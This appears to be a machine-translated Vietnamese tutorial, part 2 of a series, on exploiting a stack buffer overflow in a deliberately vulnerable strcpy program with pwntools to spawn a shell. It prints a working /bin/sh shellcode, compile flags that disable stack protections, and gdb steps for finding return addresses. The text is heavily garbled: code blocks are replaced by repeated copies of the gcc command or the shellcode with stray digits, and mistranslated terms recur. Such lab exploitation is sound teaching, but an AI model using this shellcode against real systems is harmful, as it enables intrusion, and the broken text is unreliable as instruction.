Chào mọi người, nối tiếp phần 1, phần 2 mình sẽ thực hiện khai thác lỗi tràn bộ đệm để lấy shell bằng cách sử dụng thư viện pwntools của python3. Dưới đây là mã C của chương trình khai thác phần trước
#include
#include
int main[int argc, char *argv[]]{
char array[64];
if[argc>1]
strcpy[array, argv[1]];
}
The you compile program by after code [phần 1]
gcc -m32 -z execstack -mpreferred-stack-boundary=2 -fno-stack-protector victim.c -o victim
1. Giới thiệu về pwntools thư viện
- Cách cài đặt trên python3
$ apt-get update
$ apt-get install python3 python3-pip python3-dev git libssl-dev libffi-dev build-essential
$ python3 -m pip install --upgrade pip
$ python3 -m pip install --upgrade pwntools
Các bạn có thể đọc thêm về thư viện tại đây. https. // tài liệu. pwntools. com/vi/ổn định/cài đặt. html
- Một số chức năng cơ bản
Đóng gói, tháo dây chuyền
- p32[], p64[]. đóng gói 32 bit và 64 bit, cũ.
2shellcode[]= "\xeb\x1a\x5e\x31\xc0\x88\x46\x07\x8d\x1e\x89\x5e\x08\x89\x46" "\x0c\xb0\x0b\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\xe8\xe1" "\xff\xff\xff\x2f\x62\x69\x6e\x2f\x73\x68"
- u32[], u64[]. giải nén 32bits và 64bits, ex.
3shellcode[]= "\xeb\x1a\x5e\x31\xc0\x88\x46\x07\x8d\x1e\x89\x5e\x08\x89\x46" "\x0c\xb0\x0b\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\xe8\xe1" "\xff\xff\xff\x2f\x62\x69\x6e\x2f\x73\x68"
Lắp ráp và tháo rời mã
- asm[]. Bán tại.
4shellcode[]= "\xeb\x1a\x5e\x31\xc0\x88\x46\x07\x8d\x1e\x89\x5e\x08\x89\x46" "\x0c\xb0\x0b\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\xe8\xe1" "\xff\xff\xff\x2f\x62\x69\x6e\x2f\x73\x68"
- giải tán[]. Bán tại.
5shellcode[]= "\xeb\x1a\x5e\x31\xc0\x88\x46\x07\x8d\x1e\x89\x5e\x08\x89\x46" "\x0c\xb0\x0b\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\xe8\xe1" "\xff\xff\xff\x2f\x62\x69\x6e\x2f\x73\x68"
2. Lấy shell với pwntools và shellcode
Mình có shellcode để tạo 1 shell như sau
shellcode[]= "\xeb\x1a\x5e\x31\xc0\x88\x46\x07\x8d\x1e\x89\x5e\x08\x89\x46"
"\x0c\xb0\x0b\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\xe8\xe1"
"\xff\xff\xff\x2f\x62\x69\x6e\x2f\x73\x68"
Trong series này mình sẽ hướng dẫn các bạn viết shellcode của mình, tuy nhiên không phải ở bài này
Tiến hành khai thác
Như đã nói ở bài trước, sau khi dùng gdb để gỡ lỗi, ta tính toán ra số byte cần thêm vào bộ đệm để điều khiển con trỏ trả về [eip] trong ngăn xếp là
shellcode[]= "\xeb\x1a\x5e\x31\xc0\x88\x46\x07\x8d\x1e\x89\x5e\x08\x89\x46"
"\x0c\xb0\x0b\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\xe8\xe1"
"\xff\xff\xff\x2f\x62\x69\x6e\x2f\x73\x68"
6Đầu tiên, mình tính toán số byte của shellcode bằng printf và wc
┌──[kali㉿kali]-[~]
└─$ printf "\xeb\x1a\x5e\x31\xc0\x88\x46\x07\x8d\x1e\x89\x5e\x08\x89\x46\x0c\xb0\x0b\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\xe8\xe1\xff\xff\xff\x2f\x62\x69\x6e\x2f\x73\x68" | wc -c
40
Vì vậy shellcode có độ dài là 40 byte Sau đó mình tạo 1 file mining. py to process working
khai thác. py
gcc -m32 -z execstack -mpreferred-stack-boundary=2 -fno-stack-protector victim.c -o victim
0Tuy nhiên, chúng ta gặp 1 vấn đề, đó là địa chỉ trả về [địa chỉ trả về cần được tính toán, con trỏ về shellcode đầu [hoặc con trỏ vào nop]]. Nói 1 chút về nop,là 1 lệnh "không làm gì cả", khi gặp lệnh này, đơn giản sẽ trượt đến câu lệnh tiếp theo
Nếu sử dụng gdb để gỡ lỗi, ta có thể biết được địa chỉ bắt đầu của bộ đệm, tuy nhiên địa chỉ này và địa chỉ chạy trong chương trình python của chúng ta khác nhau, vì môi trường chạy khác nhau. Vì vậy, mình sử dụng chương trình C dưới đây để tính toán lệnh giữa gdb và python
tìm_bắt đầu. c
gcc -m32 -z execstack -mpreferred-stack-boundary=2 -fno-stack-protector victim.c -o victim
1Biên dịch chương trình.
shellcode[]= "\xeb\x1a\x5e\x31\xc0\x88\x46\x07\x8d\x1e\x89\x5e\x08\x89\x46"
"\x0c\xb0\x0b\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\xe8\xe1"
"\xff\xff\xff\x2f\x62\x69\x6e\x2f\x73\x68"
7- Tính toán find_start trong gdb. Mở nạn nhân gdb, tạo điểm ngắt và chạy chương trình như sau
gcc -m32 -z execstack -mpreferred-stack-boundary=2 -fno-stack-protector victim.c -o victim
3Như vậy chương trình sẽ chạy với tham số là
shellcode[]= "\xeb\x1a\x5e\x31\xc0\x88\x46\x07\x8d\x1e\x89\x5e\x08\x89\x46"
"\x0c\xb0\x0b\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\xe8\xe1"
"\xff\xff\xff\x2f\x62\x69\x6e\x2f\x73\x68"
8, ta cần biết giá trị của find_start đã lưu trong ngăn xếp. Tiến hành tháo rời main. Ta đượcgcc -m32 -z execstack -mpreferred-stack-boundary=2 -fno-stack-protector victim.c -o victim
5Received strcpy@plt function at 0x565561b3. Tạo breakpoint ngay sau đó để xem kết quả vì find_start đã được copy vào bộ đệm
gcc -m32 -z execstack -mpreferred-stack-boundary=2 -fno-stack-protector victim.c -o victim
6Run next program, ta was results in stack as after
gcc -m32 -z execstack -mpreferred-stack-boundary=2 -fno-stack-protector victim.c -o victim
0Như vậy trong gdb. /find_start =
shellcode[]= "\xeb\x1a\x5e\x31\xc0\x88\x46\x07\x8d\x1e\x89\x5e\x08\x89\x46"
"\x0c\xb0\x0b\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\xe8\xe1"
"\xff\xff\xff\x2f\x62\x69\x6e\x2f\x73\x68"
9Tiếp theo, chỉnh sửa 1 chút chương trình python để ra kết quả find_start
gcc -m32 -z execstack -mpreferred-stack-boundary=2 -fno-stack-protector victim.c -o victim
1Kết quả như sau
gcc -m32 -z execstack -mpreferred-stack-boundary=2 -fno-stack-protector victim.c -o victim
2Vì vậy. /find_start in python is 0xffffd138 => Độ lệnh giữa 2 môi trường là.
┌──[kali㉿kali]-[~]
└─$ printf "\xeb\x1a\x5e\x31\xc0\x88\x46\x07\x8d\x1e\x89\x5e\x08\x89\x46\x0c\xb0\x0b\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\xe8\xe1\xff\xff\xff\x2f\x62\x69\x6e\x2f\x73\x68" | wc -c
40
0 => trăn = gdb + 164Tiếp theo, gỡ lỗi với gdb ta tìm được điểm bắt đầu của shellcode bằng cách chạy chương trình với đầu vào 76 byte. r
┌──[kali㉿kali]-[~]
└─$ printf "\xeb\x1a\x5e\x31\xc0\x88\x46\x07\x8d\x1e\x89\x5e\x08\x89\x46\x0c\xb0\x0b\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\xe8\xe1\xff\xff\xff\x2f\x62\x69\x6e\x2f\x73\x68" | wc -c
40
1gcc -m32 -z execstack -mpreferred-stack-boundary=2 -fno-stack-protector victim.c -o victim
3In result in gdp is 0xffffd054 => Ok, ta có chương trình python hoàn thiện như sau
khai thác. py
gcc -m32 -z execstack -mpreferred-stack-boundary=2 -fno-stack-protector victim.c -o victim
4Kết quả nhận được
gcc -m32 -z execstack -mpreferred-stack-boundary=2 -fno-stack-protector victim.c -o victim
5Do đó ta has been 1 shell. Trong phần tiếp theo, mình sẽ hướng dẫn cách lấy 1 shell với bộ đệm nhỏ, không đủ shell chứa đầu vào